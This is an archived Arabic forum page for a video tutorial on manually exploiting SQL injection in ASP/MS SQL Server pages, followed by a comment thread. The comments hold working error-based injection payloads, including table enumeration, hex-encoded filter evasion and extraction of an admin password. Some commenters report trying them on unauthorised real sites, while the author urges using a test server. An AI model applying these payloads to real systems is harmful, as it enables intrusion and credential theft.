امن وحماية تطبيقات الويب - فيديوشروحات الفيديو
فيديو: ثغرات SQL Injection في صفحات ASP
تم أرشفة هذا المحتوى
شرح اكتشاف واستغلال ثغرات SQL injection في صفحات ASP بسيرفرات Windows. قام الأخ أحمد العنتري بشرح إختراق MS SQL Server 2000 بإستخدام Sqlninja سابقا ولكن اليوم سنشرح سحب المعلومات من قاعدة البيانات عن طريق ثغرات SQL Injection لكن بشكل يدوي.
هناك برامج تقوم بسحب المعلومات من قاعدة البيانات و لكنها تفشل في معضم الاحيان بسبب وجود فلترة او لاسباب اخرى و هنا تأتي اهمية الطريقة اليدوية حيث سنتمكن من معرفة سبب فشل الهجوم و سنتمكن من تخطي الفلترة من خلال تشفير الاستعلام او باستخدام طرق تخطي الفلترة الاخرى.
الفيديو:
السلام عليكم
بارك الله فيك أخي زيد،
ويشرفني أن تضيفني عندك على المسنجر :
[email protected]
لأنه بدي أحكي معك بكم موضوع
وشكرا
تحياتي
شكرا جزيلا اخي زيد علي الحلقات الرائعة والمفيده
الله يزيدك من العلم انشاء الله
يعطيك الف عافية على الشرح المميز
اتمنا تكثر الشروحات عن ثغرات المواقع وبالذات ال sql injection
وياليت اذا عندك مواقع او كتب تنصحني بقراءتها لاحتراف ال sql injection
تحط اسماء الكتب او المواقع
اولا اشكرك اخي زيد القرشي على هذا الدرس
عندي بعض الاستفسارات او بعض المشاكل واجهتني اثناء التطبيق
طبقت كل الخطوات التي ذكرتها ولكن عند النقطه التي ذكرت انها خاصة باستخراج الجداول
اي عند تنفيذ هذا الامر
id=9 or 9=convert(int,(select+top+1+name+from+sysobjects))
ظهر لي نفس الخطأ الذي ظهر لك لكن استغربت من اسم الجدول
ظهر لي الاسم بهذا الشكل “sysrowsetcolumns”
وعند تنفيذ الخطوة التي بعدها اي عند تنفيذ هذا الامر
or 1=convert(int,(select+top+1+name+from+sysobjects+where+
name+>’sysrowsetcolumns’))
ظهرت لي الرسالة التالية
Microsoft OLE DB Provider for SQL Server error ‘80040e14’
An expression of non-boolean type specified in a context where a condition is expected, near ‘;’.
وبعدها لم استطع اكمال باقي الخطوات ,, هل من طريقة اخرى
لاستعراض اسماء الجداول في قاعدة البيانات ثم استعراض البيانات التي في الحقول
^_^
اشكرك اخي زيد على الرد
جربت الطريقة لكن ما نفعت !!
وايضا ً احب اقول لك اني ايضا ً ضد هذا الشي ,, ولكن احب ان اطبق لغرض التعلم وليس للتخريب ,, على العموم احب ان اتواصل معك على الايميل اذا لم يكن لديك مانع اخي زيد
بارك الله فيك اخي الغالي
حقيقة لقد دهشت بمستواك الكبير في ال sql injection
مشكورين على المرور و الردود الطيبة
@majed: اذا كان لديك اي استفسار فضعه هنا حتى يستفيد الجميع اما اذا اردت شيء اخر فبامكانك مراسلتي على ايميلي [email protected] لانني لا استعمل برامج المحادثة 🙁
@M.B.O جرب انك تشفر اسم الجدول بالهيكس و نفذ الاستعلام بعد ازالة علامات التنصيص
مثال:
or 1=convert(int,(select top 1 name from sysobjects where name > 0x00000))
غير 0000 باسم الجدول
مشكور اخي الغالي زيد تحياتي لك و شرح رائع واصل ابداعك
اخي زيد اشكرك على ردك
لكن طبقت الي قلت عليه وشفرت اسم الجدول با الهيكس عن طريق هذا الموقع
http://www.string-functions.com/string-hex.aspx
وكان ناتج تشفير كلمة sysrowsetcolumns الى 737973726f77736574636f6c756d6e73
وضعته بهذه الطريقة
or 1=convert(int,(select top 1 name from sysobjects where name >737973726f77736574636f6c756d6e73))
ثم وضعته بهذه الطريقة
or 1=convert(int,(select top 1 name from sysobjects where name >0x737973726f77736574636f6c756d6e73))
جربته على موقعين الموقع الاولى طلع لي هذه الرسالة مع الامرين
Microsoft OLE DB Provider for SQL Server error ‘80040e14’
Incorrect syntax near ‘;’.
والموقع الثاني عند تنفيذ الامر الثاني لم يظهر اي خطأ وفتحت الصفحة عادية
؟؟؟
جربت تغلق الاستعلام بـ;– او —
شيء ثاني لا تقم بمحاولة اختراق مواقع اخرى فنحن ضد هذا الشيء و لن نقبل مساعدتك فيه
@M.O.B التعلم شيء جميل ولكن سيكون افضل لو انك تجرب على سيرفر شخصي او موقع مخصص لاختبار الاختراق.
@Ali لهم نفس الغرض و لكن كل منهم مختة بسيرفر معين فـinformation_schema موجودة في سيرفرات mysql اما sysobject فتستعمل في سيرفرات MS SQL.
السيرفر هو MS SQL server كما قلت و الموقع موجود و مخصص لاختبار الاختراق … بامكانك الدخول له من الرابط التالي
http://testasp.vulnweb.com/showforum.asp?id=1
استعلام group_concat يستخدم لاضهار كل المحتويات الموجودة مرة واحدة و هو مستخدم في سيرفرات mysql
السلام عيكم يا اخوان
انا لا اعرف شيا عن القرصنة اريد ان اتعلم القرصنة لكي احمي جهازي من القارصنة الذي يستعملون معرفتهم في الشر
انا لقد تعرض جهازي الى قرصنة تحدث معي وقالي مذا يوجد في القرص الصلب c و d ومذا يوجد في سطح المكتب واصبح يغلقي في النوافذ التي افتحها
ولله يا اخوان اريد ان اصبح قراصان لكن لاامور السلمية فقط
ارجوكم من يريد تعلمي فل يتصل بي
اخوكم حسام
الله يعطيك العافية يا أخي العزيز “زيد القريشي”
لدي بعض الاستفسارات البيسطة =)
1- ما الفرق بين sysobjects و information_schema.schemata ؟
2- هذا النوع من الاستعلام يختص أي نوع من قواعد البيانات ؟ MSSQL,MSACCESS…etc أما يشمل جميع أنواعها ؟
3- هل السكربت الذي تستعمله على الـ localhost؟ اذا كان كذلك أتمنى أن تطرح السكربت + موضوع يفيدنا في تركيب مفسر الـ asp + برنامج قواعد البيانات “Sql Server” على أنظمة Linux وأوبنتو تحديداً. لأني انبهت قطع الاتصال لديك لكان مع ذلك استمر الموقع =) .
4- على أي أساس استعملت العبارة “أكبر من” ؟ هل تعني العلامة الاستعلام التصاعدي من القاعدة؟
5- أبدعت يا زيد فطمِعنا في كثرة الاستفسارات.
أتمنى ألا أكون قد أثقلت عليك.
احترامي لك يا أستاذي.
عذراً ، فأنا لا أستطيع تعديل تعليقي ؛ لذا كتبت تعليق أخر كتبت فيه استفسار بسيط آخر =)
ألا يوجد استعلام يشابه group أو Concat؟
احترامي ممزوج مع التقدير لك يا أخي زيد .
أخ زيد :-
لا أدري لكن الـ information_schema موجودة فعلاً على الـ Microsoft SQL Server ، وكنت أريد منك توضيح ماهو الفرق بين information_schema.schemata و sysobjects ؟ لأن من خلالهم أعتقد أني أستطيع أن أستعلم عن قواعد البيانات =) .
جرب هذا الاستعلام
أعتقد أنه سيظهر الـ databases التي أنت عليها الآن
وأشكرك سعة صدرك يأخي زيد ، لكن عندما يتعلق الأمر بالـ Web App يصيبني الهوس!
احترامي لك يا صديقي =)
‘ or 1 = convert(int,(select top 1 schema_name from information_schema.schemata))
عذراً كتبته مرة أخرى لأن الحماية محته في تعليقي السابق
Ali: جميلة المناقشة معك علي كلامك صحيح فكلا الجداول موجودة و كلاهما يستخدمان لاضهار قواعد البيانات الجداول الموجودة في قاعدة البيانات.
في حالة استخدام sysobjects سنحصل على كل الجداول الموجودة في قاعدة البيانات اما اذا استخدمنا information_schema.tables سنحصل على الجداول المصرحة للمستخدم الحالي فقط.
شكراً لك أخي زيد والآن تبينت الأمور بفضل من الله ثم منك
“sysobjects سنحصل على كل الجداول الموجودة”
هذه هي النقطة التي كانت سبب النقاش ففي شرحك قلت أنها لاستخراج القواعد .
والآن وضحت النقطة
احترامي لك يا صديقي
@Ali صحيح انا شاهدت الفيديو الان و يبدو انني خلطت في الشرح و قلت القواعد بدلا من الجداول فانا متعود على تسمية هذه المسطلحات بالانجليزية
بسم الله الرحمن الرحيم
اولاو اشكر كل الجهود التي بنت هذا الموقع بالفعل هو احد المواقع العربيه القويه في مجال الحماية والهاكينج
..0..
عندما حاولت ان احقن احد المواقع طهرت لي خطأ ارجو اطلاعي عن الحل
هذه معلومات الحقنه
or 1=convert(int,(db_name()))
الخطأ اللذي ظهر
[Microsoft][ODBC Microsoft Access Driver] Undefined function ‘convert’ in expression.
وشكرا لكم
نفس عملية الحقن لكن بخطأ اخر
Type mismatch: ‘[string: “107292 or 1=convert(“]’
انا اتعلم حقن الـ asp مع العلم باني اعرف طريقه حقن الـ Php
وشكرا مرة اخرى
نفس الحقنة بموقع اخر وخطأ جديد
Application uses a value of the wrong type for the current operation.
اعذروني لكثره الاسالة لكني احب ان اعرف كل خطأ لماذا حصل لكي اعرف ماذا علي ان افعل وما هو حل كل خطأ
أشكرك أخي الكريم على هذا الطرح الجميل
المتابعة كانت ممتعة جداً و واضحة ..
ننتظر شروحات أخرى .
تحياتي لك
SyRiAn 34G13
شكرا على كل مجهودا جميع الطاقم الادراي لهذا الموقع والله موقع على ايدي عربية يعني
وفقكم الله
اهلا فيكم اخوان و منورين
muhammad: لماذا انت تجرب على مواقع لا تملك صلاحية بالتجربة عليها… نحن لا نشجع و لا ندعم اختراق المواقع الاخرى.
نصيحتي لك هو تنصيب ويب سيرفر على جهازك الخاص و محاولة اختراقه ففي هذه الحالة انت لا تضر الناس و انت تنفع نفسك لانك ستتعلم اكثر… بالنسبة للاخطاء فلن اجيبك عليها بشكل مباشر حتى لا يحصل ضرر للناس … بعض هذه الاخطاء تدل على وجود حماية على الموقع و عدم امكانية حقن الصفحة و الاخرى تدل على وجود خطأ في الاستعلام
ماهو الفرق بين الحقن في صفحات asp و aspx
أخي زيد أود أن أشكرك على هذا الفيديو الرائع
لدي بعض الإستفسارات :
الإستفسار الأول :
في الأمر or 1=convert
الرقم واحد هو نفسو لل id
كما لدينا في موقع التجارب ؟؟
( http://testasp.vulnweb.com/showforum.asp?id=1 or 1=convert )
الإستفسار الثاني :
لما اردت استخرااج اسم أدمن الموقع و طلع مو هو باستعمال أمر
convert(int,(select+top+1+uname+from+users
اضظريت الى استعمال الأمر
convert(int,(select+top+1+upass+from+users+where+uname=
‘admin
هنا في هذا الأمر يجب علنا أن قموم بالتخمين لإسم صاحب الموقع ( اللي هو admin ) ؟؟؟ صح ؟؟
اذ كان صح فمن الصعب العثور على اسم الأدمن ؟؟
فهل هناك حل ؟؟
اللي هو admin
السلام عليكم
موقع اسرائيلي في ثغرة asp . في مشكلة عندي عند استخراج الجداول Havij
يعطي خظا اي لا يسنطيع اخراج الجداول .
هل يوجد برامج اخرى افضل
ما شاء الله عليك .. الله يوفقك ويزديك من علمه 🙂
الف شكر لك يا اخ زيد
شرح وافي ومتعوب عليه
شكراً على جهودك
احترامي